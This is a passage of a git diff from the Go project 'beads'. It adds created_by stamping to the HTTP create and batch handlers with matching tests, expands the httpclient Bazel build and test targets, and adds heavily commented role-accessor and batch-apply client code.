in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Ready-request fields diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 21b40f174..16b9d4a63 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -213,6 +213,14 @@ func (s *Server) applyBatchRequest(w http.ResponseWriter, r *http.Request) (issu if res != nil { return refuse(res) } + // created_by is stamped from the actor on every create item, createIssue's + // rule (create.go): the item publishes no created_by and the role copies the + // issue's rather than stamping one. + for _, item := range items { + if item.Create != nil { + item.Create.Issue.CreatedBy = actor + } + } return issueops.ApplyBatchRequest{ Actor: actor, Items: items, diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index 300bd86fa..a60c8ea54 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -144,6 +144,11 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { if create.Issue.Priority != 1 { t.Errorf("create.priority = %d, want 1", create.Issue.Priority) } + // created_by is stamped from the trimmed actor, createIssue's rule: the + // role copies the issue's and never stamps one itself. + if create.Issue.CreatedBy != "alice" { + t.Errorf("create.created_by = %q, want the actor %q", create.Issue.CreatedBy, "alice") + } if create.Issue.EstimatedMinutes == nil || *create.Issue.EstimatedMinutes != 30 { t.Errorf("create.estimated_minutes = %v, want 30", create.Issue.EstimatedMinutes) } diff --git a/internal/httpapi/batch_create.go b/internal/httpapi/batch_create.go index d56014eae..063816260 100644 --- a/internal/httpapi/batch_create.go +++ b/internal/httpapi/batch_create.go @@ -101,6 +101,13 @@ func (s *Server) batchCreateRequest(w http.ResponseWriter, r *http.Request) (iss if !ok { return issueops.CreateBatchRequest{}, false } + // created_by is stamped from the actor on every item, createIssue's rule + // (create.go): the item publishes no created_by and the role copies the + // issue's rather than stamping one, so without this a batch-created issue + // would store none where `bd create --file` stores its actor. + for _, item := range items { + item.Issue.CreatedBy = actor + } return issueops.CreateBatchRequest{Actor: actor, Items: items}, true } diff --git a/internal/httpapi/batch_create_test.go b/internal/httpapi/batch_create_test.go index a00996bba..b3a689968 100644 --- a/internal/httpapi/batch_create_test.go +++ b/internal/httpapi/batch_create_test.go @@ -85,6 +85,13 @@ func TestBatchCreatePassesTheRequestToTheRoleAndAnswersWithWhatItCreated(t *test if got.Items[1].Issue.Priority != 0 || got.Items[1].Issue.Description != "body" { t.Errorf("item 1 = %+v, want the wire's description and no priority", *got.Items[1].Issue) } + // created_by is stamped from the actor on EVERY item, createIssue's rule: + // the role copies the issue's and never stamps one itself. + for i, item := range got.Items { + if item.Issue.CreatedBy != "alice" { + t.Errorf("item %d created_by = %q, want the actor %q", i, item.Issue.CreatedBy, "alice") + } + } // No provenance: the file name a CLI batch spells has no analogue here, so // the entry reads as the implementation's default rather than as a lie. if got.Provenance != "" { diff --git a/internal/httpapi/create.go b/internal/httpapi/create.go index f444e4a99..89901c5c5 100644 --- a/internal/httpapi/create.go +++ b/internal/httpapi/create.go @@ -202,6 +202,18 @@ func (s *Server) createIssueRequest(w http.ResponseWriter, r *http.Request) (iss Sender: derefString(wire.Sender), Ephemeral: derefBool(wire.Ephemeral), NoHistory: derefBool(wire.NoHistory), + // CreatedBy is stamped from the caller-asserted actor, matching the + // local front door's semantics (cmd/bd/create.go sets issue.CreatedBy + // from getActorWithGit() before calling the same role): the role + // itself never stamps it, copying whatever the caller already put on + // types.Issue (internal/storage/issueops/public_create.go's + // publicCreateIssue). The wire's `actor` member is the caller-asserted + // identity this request carries — provenance for the audit trail, not + // authenticated identity, exactly as this file's own doc comment + // states above — so it is the one value this server has to make that + // stamp from. batch_create.go and batch_apply.go make the same + // stamp, so no create shape stores an empty created_by. + CreatedBy: actor, } if wire.Priority != nil { issue.Priority = *wire.Priority diff --git a/internal/httpapi/create_test.go b/internal/httpapi/create_test.go index 5e633ce50..4749a3050 100644 --- a/internal/httpapi/create_test.go +++ b/internal/httpapi/create_test.go @@ -190,11 +190,17 @@ func TestCreateForwardsEveryDocumentedMember(t *testing.T) { t.Errorf("the handler put edges or comments on the issue (%d/%d); they belong to the request's own members", len(issue.Dependencies), len(issue.Comments)) } - // created_at/created_by are unpublished, so a fresh row must reach the role - // with both zero and take the implementation's own values. - if !issue.CreatedAt.IsZero() || issue.CreatedBy != "" { - t.Errorf("the handler set created_at/created_by (%v/%q); neither is published on this operation", - issue.CreatedAt, issue.CreatedBy) + // created_at is unpublished, so a fresh row must reach the role with it + // zero and take the implementation's own value. created_by IS stamped by + // this handler, from the same trimmed actor identity asserted above — + // matching the local front door's semantics (cmd/bd/create.go sets + // issue.CreatedBy from getActorWithGit() before calling the same role, + // because the role itself never stamps it). + if !issue.CreatedAt.IsZero() { + t.Errorf("the handler set created_at (%v); it is not published on this operation", issue.CreatedAt) + } + if issue.CreatedBy != "alice" { + t.Errorf("created_by = %q, want the actor %q", issue.CreatedBy, "alice") } if len(req.Dependencies) != 2 { diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 7b9542c59..6afefa0bb 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -1,22 +1,77 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "httpclient", srcs = [ + "accessors.go", "backend_credential.go", + "batchapplier.go", + "batchcloser.go", + "batchcreator.go", + "batchgetter.go", + "bridge.go", "ca.go", "ca_permissions_other.go", "ca_permissions_unix.go", + "claimer.go", + "commenter.go", + "counter.go", "credential.go", + "deleter.go", + "dependencyeditor.go", + "detail_reads.go", + "dial.go", + "dispatch.go", + "errors.go", + "journal.go", + "lifecycle.go", + "list_walk.go", + "memories.go", + "metadata.go", + "metadatacas.go", + "offrole.go", + "order.go", + "readyclaimer.go", + "refusal.go", + "register.go", + "relations.go", + "releaser.go", + "resolve.go", + "role_querier.go", + "role_reader.go", + "role_readycounter.go", + "roles_aux.go", + "roles_graph.go", + "servercontext.go", + "store.go", + "sweeper.go", "target.go", + "target_seam.go", + "unsupported.go", + "unsupported_gen.go", + "vocabulary.go", + "watch.go", + "writewire.go", ], importpath = "github.com/steveyegge/beads/internal/httpclient", visibility = ["//:__subpackages__"], deps = [ + "//internal/config", "//internal/configfile", "//internal/creds", + "//internal/httpapi/apigen", + "//internal/httpclient/encode", "//internal/httpclient/wire", + "//internal/storage", "//internal/storage/backends", + "//internal/storage/issueops", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/utils", + "//issueops", + "//journalops", + "//memoryops", "@org_golang_x_net//http/httpproxy", "@org_golang_x_net//idna", ], @@ -24,23 +79,160 @@ go_library( go_test( name = "httpclient_test", + # Unsharded, this package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no + # BEADS_TEST_EMBEDDED_DOLT): mostly wall-clock wait on the CA tests' dialer/keep-alive + # timeouts, not CPU. The go_test default size (medium, 300s timeout) leaves no margin + # and times out intermittently; size=large/timeout=long follows the same convention as + # //internal/storage/embeddeddolt's go_test. + size = "large", + timeout = "long", srcs = [ "backend_credential_test.go", + "batchapplier_test.go", + "brief_test.go", + "bulk_roles_test.go", "ca_permissions_unix_test.go", "ca_test.go", "ca_wrong_ca_test.go", + "completeness_test.go", + "composition_test.go", + "counts_test.go", "credential_source_test.go", "credential_test.go", + "dial_test.go", + "dispatch_test.go", + "divergence_citation_gate_test.go", + "divergence_test.go", "helpers_test.go", + "lifecycle_create_test.go", + "lifecycle_update_test.go", + "list_sort_test.go", + "metadatacas_test.go", + "race_detector_off_test.go", + "race_detector_on_test.go", + "required_served_tier_test.go", + "roles_graph_cycles_test.go", + "roles_test.go", + "served_batch_apply_test.go", + "served_batch_close_test.go", + "served_batch_getter_test.go", + "served_bridge_test.go", + "served_bulk_test.go", + "served_claim_lifecycle_test.go", + "served_commenter_test.go", + "served_config_test.go", + "served_config_write_test.go", + "served_counter_test.go", + "served_detail_reads_test.go", + "served_dualrun_test.go", + "served_graph_aux_test.go", + "served_graph_counter_test.go", + "served_harness_test.go", + "served_hooks_test.go", + "served_issue_operations_test.go", + "served_journal_test.go", + "served_lifecycle_create_test.go", + "served_list_test.go", + "served_memories_deps_test.go", + "served_metadata_cas_test.go", + "served_project_swap_test.go", + "served_querier_test.go", + "served_reader_test.go", + "served_ready_claimer_test.go", + "served_readycounter_test.go", + "served_relations_test.go", + "served_releaser_test.go", + "served_test.go", + "served_wrong_server_test.go", + "store_dependent_test.go", + "store_test.go", "target_test.go", + "watch_test.go", + "wave2b_roles_test.go", + "wave2c_claimnext_test.go", + "wave2c_config_test.go", + "wave2c_journal_test.go", + "write_ledger_test.go", + "write_roles_test.go", ], + # keep + # + # TestInterfaceCompleteness (completeness_test.go) reads its own package's + # generated shell, unsupported_gen.go, by a plain relative os.ReadFile to + # regex-match the methods storage.DoltStorage's refusing shell covers. That + # file is already a `srcs` member of :httpclient above, which Bazel compiles + # away rather than leaving as a readable file in the test's sandbox; `data` + # is what actually puts a copy there, exactly as + # //internal/httpclient/encode's own go_test does for the same reason. + # Gazelle does not manage `data` on this rule, so this survives + # `make bazel-sync` (the directive just says so). + data = glob(["*.go"]), embed = [":httpclient"], deps = [ + "//backend/conformance", + "//internal/eventsjournal", + "//internal/hooks", + "//internal/httpapi", "//internal/httpapi/apigen", + "//internal/httpapi/spec", + "//internal/httpclient/encode", + "//internal/httpclient/wire", + "//internal/storage", "//internal/storage/backends", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/storage/issueops", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/workapi", + "//issueops", + "//journalops", + "//memoryops", + "@in_gopkg_yaml_v3//:yaml_v3", ], ) +# scripts/conformance.sh's Tier 3, the served HTTP corpus: the whole package +# with BEADS_TEST_EMBEDDED_DOLT=1, so the served_*_test.go cases stand a real +# `bd serve` handler over embedded Dolt instead of skipping as they do in +# httpclient_test above, and BEADS_HTTP_TEST_REQUIRED=1, so a missing engine +# fails each served case rather than skipping it. It is the script's run on +# the lane's race build (raceEnabled shrinks its one large apply). +# +# Shard count: on the lane's executors (2026-10-08) the package is 702 tests +# and ~3,700 test-seconds, the heaviest, TestServedBatchGetterContract, at +# 170-230s. rules_go deals the tests out round-robin, so the shard that draws +# it runs it plus about a 24th of the rest: 283s measured, ~370s at the slow +# end. Both are under the ~410s cmd/bd shard that sets the lane's floor (see +# bazel.yml's bazel-embedded), so this target does not lengthen the lane. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "httpclient_served_test", + size = "large", + # Deviation from the script's -timeout=40m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :httpclient_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + ], + data = [":httpclient_test"], + env = { + "BEADS_HTTP_TEST_REQUIRED": "1", + "BEADS_TEST_EMBEDDED_DOLT": "1", + }, + shard_count = 24, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/httpclient/accessors.go b/internal/httpclient/accessors.go new file mode 100644 index 000000000..ee635ebd9 --- /dev/null +++ b/internal/httpclient/accessors.go @@ -0,0 +1,386 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/accessors.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// The TWENTY-FIVE wire-backed role accessors of design D8's allowlist v1, as +// amended by the `bd close` decision that moved row 17 across, and by the +// five the client waves added after it — Counter and GraphCounter (wave 2a), +// Releaser, Commenter and IssueRelations (wave 2b). A count in prose beside a +// list in code is a count that goes stale, so read the list. They are +// off the generated refusing shell — that is what keeps them off the unsupported +// allowlist and out of RunUnsupportedContract — and hand-written here so a role +// bead flips one accessor in place, in the same PR as the method that serves it, +// without touching the generator's skip list. +// +// An accessor that has not been wired yet refuses through (*Store).unsupported, +// so it already carries the server context D7 renders, and the comment on each +// names the v0 operation that will answer it — a flip has nothing left to +// decide. A wired one returns its role bound to the store's transport; the +// implementations live one file per role, so concurrent role beads do not edit +// the same body. +// +// THREE accessors are still on the generated shell, and after client wave 2b +// they are all there for ONE reason: VersionReconciler, Bootstrapper and +// InitVerifier are PERMANENTLY UNSERVABLE — no wire operation and none coming. +// +// THE SECOND LIST IS EMPTY, and it is worth saying that it existed rather than +// deleting it silently. It held the names the wire had published ahead of this +// client — an operation complete on the server with no accessor in front of it — +// and every one of them has now left it by being WIRED: Counter (issues.count, +// #5508) and GraphCounter (dependencies.count, #5536) with client wave 2a +// (ga-icks1), then Releaser (issues.release, #5507), IssueRelations +// (issues.related, #5540) and Commenter (issues.addComment, #5594) with client +// wave 2b (ga-f352s). The next operation upstream publishes ahead of a client +// wave starts the list again, which is what it is for. +// +// "UNCONSUMED" AND "UNWIRED" ARE NOT THE SAME THING, and this comment used to +// spell them as one. A name leaves the second list when its ACCESSOR lands here; +// its entry in cmd/bd's httpUnconsumedCapabilities leaves only when a `bd` +// command reaches the role over http. Counter's went with wave 2a because +// `bd count` became served; GraphCounter's stayed, because no `bd` command +// reaches that role on ANY backend. Wave 2b splits the same way and TWO of its +// three went: Commenter's, because `bd comment` is served, and IssueRelations', +// because `bd dep list` reaches that role on every shape but the multi-anchor +// default — the command was already classified served and was failing LATE, so +// wiring the accessor turned a refusal into an answer rather than moving a row. +// Only Releaser's stayed, RESCOPED from "no accessor" to the front door it +// actually waits on. +// +// WorkspaceConfig used to be on neither list because it was PARTLY wired — its +// reads served and its two write verbs refusing — and it is now simply wired: +// #5596 published PUT and DELETE /v0/beads/config/{key} and client wave 2c +// (ga-jpywb) dials both. THE PARTIAL COLUMN IS EMPTY, for the first time since +// this file was written. +// +// READYLISTER IS NOT AN ACCESSOR HERE, and it is not a removal: this lift +// carried bd-enterprise's issueops.ReadyLister/ReadyListRequest/ReadyListing +// over from a fork where upstream had published them, and S3 reconciliation +// (2026-10) found OSS has published none of the three — +// there is no role type to implement and no accessor return type to name. +// `bd ready`'s listing is unaffected; it already runs on IssueReader. S13 +// schedules the role once upstream publishes it. + +// IssueReader serves listReadyWork/listIssues/getIssue (D8 row 1). +func (s *Store) IssueReader() (issueops.Reader, error) { + return httpReader{store: s}, nil +} + +// ReadyCounter serves countReadyWork (D8 row 2). +func (s *Store) ReadyCounter() (issueops.ReadyCounter, error) { + return httpReadyCounter{store: s}, nil +} + +// Counter serves countIssues (GET /v0/beads/issues:count) — the TWENTY-FIRST +// wire-backed accessor, and the one `bd count` routes through. +// +// Its request maps member for member: every one of CountRequest's twenty-three +// filters is a published parameter, so nothing here refuses and no ledger row +// names a member. What the operation does NOT publish is anything the ROLE does +// not have — a count's plane vocabulary is one `include_infra` where a +// listing's is five parameters, and that narrowing is upstream's design rather +// than a wire gap. See counter.go. +func (s *Store) Counter() (issueops.Counter, error) { + return httpCounter{store: s}, nil +} + +// Releaser serves releaseIssue (POST /v0/beads/issues/{id}:release) — the +// TWENTY-THIRD wire-backed accessor, and the claim's inverse. +// +// Its request maps member for member and nothing refuses on shape. What the port +// had to carry instead is a fact about the ANSWER: a release leaves an ANONYMOUS +// post-state — assignee cleared, status open, started_at gone — which is the same +// row whoever emptied it, so the role cannot report an idempotent no-op the way +// Claimer does and every shape that would not write is a REFUSAL. Those refusals +// are the whole value of this accessor to a caller, so they travel whole rather +// than being softened into a quiet false. +// +// ONE OF THEM IS FLATTENED BY THE WIRE and is ledgered: `not_releasable` covers +// both "holds no claim" and "status will not accept a release", with no member +// telling them apart, so this client answers the wider of the two +// (L-release-notclaimed). See releaser.go. +func (s *Store) Releaser() (issueops.Releaser, error) { + w, err := s.roleWire("Releaser") + if err != nil { + return nil, err + } + return &httpReleaser{store: s, wire: w}, nil +} + +// Commenter serves addComment (POST /v0/beads/issues/{id}/comments) — the +// TWENTY-FOURTH wire-backed accessor, and the only write here whose path names a +// SUB-RESOURCE collection rather than the issue. +// +// Three request members, one of them the path, and one result member: the +// smallest total mapping on this surface. What is worth knowing is what the role +// declines rather than what it carries — there is no comment READ here, because +// a comment page is a paging question with a cursor of its own and the wire +// publishes no such operation. The thread is read through getIssue's +// `include_comments`. See commenter.go. +func (s *Store) Commenter() (issueops.Commenter, error) { + w, err := s.roleWire("Commenter") + if err != nil { + return nil, err + } + return &httpCommenter{store: s, wire: w}, nil +} + +// IssueRelations serves listRelatedIssues (GET /v0/beads/issues/{id}/related) — +// the TWENTY-FIFTH wire-backed accessor, and the first read here anchored on one +// issue in the PATH. +// +// It is the SINGLE-ANCHOR member of the graph family, which is what makes its +// miss a 404 rather than the per-anchor Missing sentinel EdgeReader and +// GraphCounter carry: one request names one id, so there is nowhere to put a +// per-anchor flag and no need for one. Both halves of the walk are two-plane and +// a wisp id is a legal anchor, all of it decided server-side. +// +// `bd dep list` IS ITS FRONT DOOR, which is easy to miss because that command +// reads as an EDGE command: the multi-anchor default shape takes the EdgeReader +// batch, and every other shape — the single anchor, and any --direction up — +// takes this role, one call per anchor. So this accessor was the difference +// between a command that was classified served and failed at dispatch, and one +// that answers. See relations.go. +func (s *Store) IssueRelations() (issueops.Relations, error) { + return httpRelations{store: s}, nil +} + +// IssueClaimer serves claimIssue (D8 row 3). See claimer.go. +func (s *Store) IssueClaimer() (issueops.Claimer, error) { + w, err := s.roleWire("IssueClaimer") + if err != nil { + return nil, err + } + return &httpClaimer{store: s, wire: w}, nil +} + +// ReadyClaimer serves claimNext (POST /v0/beads/issues:claimNext). +// +// IT ADDS NO ORDINAL, and the absence is the point: every accessor before it in +// this file counts itself as the Nth wire-backed one because it CROSSED the +// matrix, moving off the refusing shell in the wave that wired it. This one did +// not cross — it has been in wireBackedAccessors since the first commit, served +// by a composition — so the matrix stays at twenty-five and calling this the +// twenty-sixth would be counting a row that never moved. What changed is what +// stands behind the accessor, which is what the rest of this leaf is about. +// +// "The wire has no claimNext" was true when this leaf was written and stopped +// being true with upstream #5510. What the operation buys is not a round trip: +// it is the one transaction the composition could never have — selection, the +// compare-and-set and the hydration together — which is what makes an ephemeral +// row claimable, a lease actually written, and the returned cardinalities a +// description of the state the claim produced rather than of a listing taken +// before it. +// +// IT NAMES NO ID BECAUSE IT NAMES NO ROW: the caller asks a question and the +// server picks the answer. The filter travels as the QUERY STRING GET +// /v0/beads/ready's own decode reads — one predicate, one spelling — and the +// actor is the whole body. +// +// THE COMPOSITION SURVIVES as the down-level leg, capability-gated the way +// BatchCloser's is, so `bd ready --claim` keeps working against a server older +// than the operation. L14 is now that leg's row and not the role's. See +// readyclaimer.go. +func (s *Store) ReadyClaimer() (issueops.ReadyClaimer, error) { + w, err := s.roleWire("ReadyClaimer") + if err != nil { + return nil, err + } + return &httpReadyClaimer{store: s, wire: w}, nil +} + +// Querier serves queryIssues (D8 row 5). +func (s *Store) Querier() (issueops.Querier, error) { + return httpQuerier{store: s}, nil +} + +// StatsReporter serves getStats (D8 row 6). See roles_aux.go. +func (s *Store) StatsReporter() (issueops.StatsReporter, error) { + return httpStatsReporter{store: s}, nil +} + +// CycleDetector serves listDependencyCycles (D8 row 7). See roles_graph.go. +func (s *Store) CycleDetector() (issueops.CycleDetector, error) { + return httpCycleDetector{store: s}, nil +} + +// TreeWalker serves getDependencyTree (D8 row 8). See roles_graph.go. +func (s *Store) TreeWalker() (issueops.TreeWalker, error) { + return httpTreeWalker{store: s}, nil +} + +// GraphCounter serves countDependencyEdges (GET +// /v0/beads/dependencies:count) — the TWENTY-SECOND wire-backed accessor. +// +// It is the counting sibling of EdgeReader below, on the same collection and +// under the same anchor bound, plus the direction that read does not take. Its +// mapping is total: anchors, direction, edge types and the inbound-only status +// filter are all published, and the two facts it reads back — a 64-bit count and +// the Missing sentinel — are both required members, which is what keeps a typo +// from being indistinguishable from a real zero. See roles_graph.go. +func (s *Store) GraphCounter() (issueops.GraphCounter, error) { + return httpGraphCounter{store: s}, nil +} + +// EdgeReader serves listDependencies (D8 row 9). See roles_graph.go. +func (s *Store) EdgeReader() (issueops.EdgeReader, error) { + return httpEdgeReader{store: s}, nil +} + +// BlockingAnnotator serves listBlockingAnnotations (D8 row 10), which is what +// keeps `bd list`'s blocked and blocks marks working. See roles_graph.go. +func (s *Store) BlockingAnnotator() (issueops.BlockingAnnotator, error) { + return httpBlockingAnnotator{store: s}, nil +} + +// WorkspaceConfig serves listSettings/getSetting/setSetting/unsetSetting (D8 +// row 11, no longer partial). See roles_aux.go. +// +// Its two writes are the smallest mapping on this surface — a key in the path, a +// value in the body — and they carry no actor and no guard, because this plane +// records no history entry to attribute a write on and holds no row version to +// compare. Neither is a wire narrowing: no backend attributes a config write. +// +// WHAT THE PORT COST was a decision about the ANSWER, like every write in wave +// 2b before it. The operation PERMITS writing a credential-bearing key and then +// WITHHOLDS the value from its own answer — one projection serves the write and +// the read, so a PUT's body is the body of the GET after it — which leaves a +// successful write whose `value` member is absent and a result type with no +// spelling for "withheld". The client answers with the value it SENT, which is +// the operation's own promise rather than a guess about what redaction hid: the +// stored value equals the value sent for every key this plane accepts, because +// the one key with a normalization step is the one key the role refuses. +// +// The two EDGE BOUNDS the operation adds — a key past 255 characters on the +// write, a value past types.MaxTextBytes bytes — are the server's and are not +// restated here (L-config-bounds). +func (s *Store) WorkspaceConfig() (issueops.WorkspaceConfig, error) { + return httpWorkspaceConfig{store: s}, nil +} + +// Sweeper serves sweepIssues (D8 row 12). See sweeper.go. +func (s *Store) Sweeper() (issueops.Sweeper, error) { + w, err := s.roleWire("Sweeper") + if err != nil { + return nil, err + } + return &httpSweeper{store: s, wire: w}, nil +} + +// Deleter serves deleteIssues (D8 row 13). See deleter.go. +func (s *Store) Deleter() (issueops.Deleter, error) { + w, err := s.roleWire("Deleter") + if err != nil { + return nil, err + } + return &httpDeleter{store: s, wire: w}, nil +} + +// BatchCreator serves batchCreateIssues (D8 row 14); the item members the wire +// cannot carry refuse per-item, per refuse-not-drop. See batchcreator.go. +func (s *Store) BatchCreator() (issueops.BatchCreator, error) { + w, err := s.roleWire("BatchCreator") + if err != nil { + return nil, err + } + return &httpBatchCreator{store: s, wire: w}, nil +} + +// Memories serves the four memory operations (D8 row 15). See memories.go. +func (s *Store) Memories() (memoryops.Memories, error) { + w, err := s.roleWire("Memories") + if err != nil { + return nil, err + } + return &httpMemories{store: s, wire: w}, nil +} + +// IssueLifecycle serves createIssue/updateIssue/closeIssue/reopenIssue (D8 row +// 16). It was PARTIAL until the create landed — POST /v0/beads/issues was +// deliberately left free on the wire, so there was nothing to dial — and +// upstream #5483 filled it. See lifecycle.go. +func (s *Store) IssueLifecycle() (issueops.Lifecycle, error) { + w, err := s.roleWire("IssueLifecycle") + if err != nil { + return nil, err + } + return &httpLifecycle{store: s, wire: w}, nil +} + +// DependencyEditor serves addDependencies/removeDependency (D8 row 18). See +// dependencyeditor.go. +func (s *Store) DependencyEditor() (issueops.DependencyEditor, error) { + w, err := s.roleWire("DependencyEditor") + if err != nil { + return nil, err + } + return &httpDependencyEditor{store: s, wire: w}, nil +} + +// BatchCloser serves the single-item, no-ClaimNext shape of CloseBatch by +// composing onto closeIssue, and refuses every other shape (the `bd close` +// decision, amending D8 row 17's PENDING-DECISION). See batchcloser.go. +// +// It is the EIGHTEENTH wire-backed accessor: the design's matrix recorded +// seventeen because row 17 was undecided when it was written, and the decision +// moved this one across. +func (s *Store) BatchCloser() (issueops.BatchCloser, error) { + w, err := s.roleWire("BatchCloser") + if err != nil { + return nil, err + } + return &httpBatchCloser{store: s, wire: w}, nil +} + +// MetadataCAS serves compareAndSetMetadata (POST +// /v0/beads/issues/{id}:casMetadata) — the NINETEENTH wire-backed accessor. +// +// The operation's contract was the part that needed wiring rather than the +// transport, and it is the one place this seam's usual rule does not hold: a +// lost compare-and-set is a 200 carrying `swapped: false` and the current +// value, so the client reads the body of a SUCCESS to learn the swap did not +// happen, where every other write here learns that from a status code. See +// metadatacas.go. +func (s *Store) MetadataCAS() (issueops.MetadataCAS, error) { + w, err := s.roleWire("MetadataCAS") + if err != nil { + return nil, err + } + return &httpMetadataCAS{store: s, wire: w}, nil +} + +// BatchApplier serves applyBatch (POST /v0/beads/issues:batchApply) — the +// TWENTIETH wire-backed accessor, and the widest write on the surface: one +// request carrying creates, updates, closes and edges that either all land or +// none do. +// +// Its key-binding half — a create item names a key that later items reference, +// and the response maps every key to the id it was bound to — has no analog in +// any other role here, and neither does the shape it forced on the refusal +// path: an all-or-nothing operation publishes no per-item outcomes, so the +// offender travels in the problem document's item_* members and this role +// rebuilds *issueops.ItemError and *issueops.RefError from them. See +// batchapplier.go. +func (s *Store) BatchApplier() (issueops.BatchApplier, error) { + w, err := s.roleWire("BatchApplier") + if err != nil { + return nil, err + } + return &httpBatchApplier{store: s, wire: w}, nil +} + +// BatchGetter serves batchGetIssues (POST /v0/beads/issues:batchGet) — the +// TWENTY-SIXTH wire-backed accessor, and the newest: storage.DoltStorage grew +// this method when the rebase onto origin/main brought in upstream #7248's +// issueops.BatchGetter. +// +// It takes no roleWire: the operation writes nothing and carries no actor or +// version guard for a WriteWire method to wrap, so it dials through the +// store directly, the way Counter and Querier do. See batchgetter.go. +func (s *Store) BatchGetter() (issueops.BatchGetter, error) { + return &httpBatchGetter{store: s}, nil +} diff --git a/internal/httpclient/backend_credential_test.go b/internal/httpclient/backend_credential_test.go index 25d5d051f..9c4f50832 100644 --- a/internal/httpclient/backend_credential_test.go +++ b/internal/httpclient/backend_credential_test.go @@ -32,7 +32,7 @@ func (fixtureBackendCredential) BackendCredential() {} func TestResolveCredentialNilNotRequiredFallsBackToTheAmbientLadder(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "ambient-token") + t.Setenv(TokenEnv, "127.0.0.1=ambient-token") base := mustParseURL(t, "http://127.0.0.1:8080") cp, err := ResolveCredential(backends.OpenOptions{}, base, false) diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go new file mode 100644 index 000000000..dae4ed8f0 --- /dev/null +++ b/internal/httpclient/batchapplier.go @@ -0,0 +1,769 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchapplier.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "reflect" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpBatchApplier serves issueops.BatchApplier over issues:batchApply — the +// widest write on this surface, and the only one that is ALL OR NOTHING across +// several verbs at once. +// +// WHAT MAKES IT DIFFERENT FROM ITS NEIGHBORS HERE, and what the port had to +// carry: +// +// THE ITEM IS A TAGGED UNION AND THE WIRE CANNOT ENFORCE THE TAG. The document +// uses no composition keyword, so an item is one object with a required `kind` +// and four optional payloads: nothing in any generated type stops a request +// carrying two payloads, or a payload the kind does not name, or a kind this +// client has never heard of. All four disagreements are refused HERE, before +// the dial, because the role's own contract calls each of them ErrValidation +// and because a kind added upstream must FAIL CLOSED rather than be dropped +// into a request that silently does less than the caller asked. +// +// THERE ARE NO PER-ITEM OUTCOMES TO WALK. batchClose answers a refused item +// inside a 200 and the role reads the outcome array; here a refused item took +// the whole transaction down, so every other item's outcome would be a +// statement about work that rolled back. The offender travels in the problem +// document's `item_*` members instead, read off the role's own typed +// *issueops.ItemError inside the refusing transaction, and rebuilt here so a +// caller classifies a remote refusal with the errors.As arm it already has. +// +// THE RESULT IS POSITIONAL, which is the hazard this file guards hardest. The +// wire answers one entry per requested item in request order, and a client that +// trusted that without checking would attribute one item's `changed` and +// `revision` to a different item's row — a misattribution no assertion about +// the row would catch, because both rows exist and both were written. +// decodeApplyBatchResult checks the length AND the kind at every index. +// +// THE SNAPSHOT STOPS AT THE WIRE. issueops.ItemResult carries a post-item +// *Issue and ApplyItemResult does not, deliberately (the role's own leaf says +// so: hooks never fire on this surface, and a hundred hydrated issues would be +// a response an order of magnitude larger than the request). So Issue is nil on +// every item this role answers with — ledger row L-apply-snapshot. +type httpBatchApplier struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchApplier = (*httpBatchApplier)(nil) + +// ApplyBatch dials POST /v0/beads/issues:batchApply. +func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBatchRequest) (result issueops.ApplyBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply applyBatchBody/encodeApplyPatch nested it inside an + // "items[%d]..." or "Issue.%s:" prefix — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. The original composite message + // (including that prefix) is preserved in the decorated error's own text. + defer func() { err = b.store.inexpressible("BatchApplier.ApplyBatch", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.ApplyBatchResult{}, err + } + // The two bounds the ROLE states, applied before the dial for the reason + // every client-side validation here is applied before one: a request the + // role's own contract calls invalid must not consume a write slot to be + // told so. Neither is a wire divergence — the document publishes the same + // hundred — and the cap REFUSES rather than splitting, because a split plan + // is several transactions where the caller asked for one and the end gate + // only ever sees a single request. + if len(req.Items) == 0 { + return issueops.ApplyBatchResult{}, invalid("a batch apply names no items") + } + if len(req.Items) > issueops.MaxApplyBatchItems { + return issueops.ApplyBatchResult{}, invalid( + "a batch apply carries %d items; the limit is %d per request", len(req.Items), 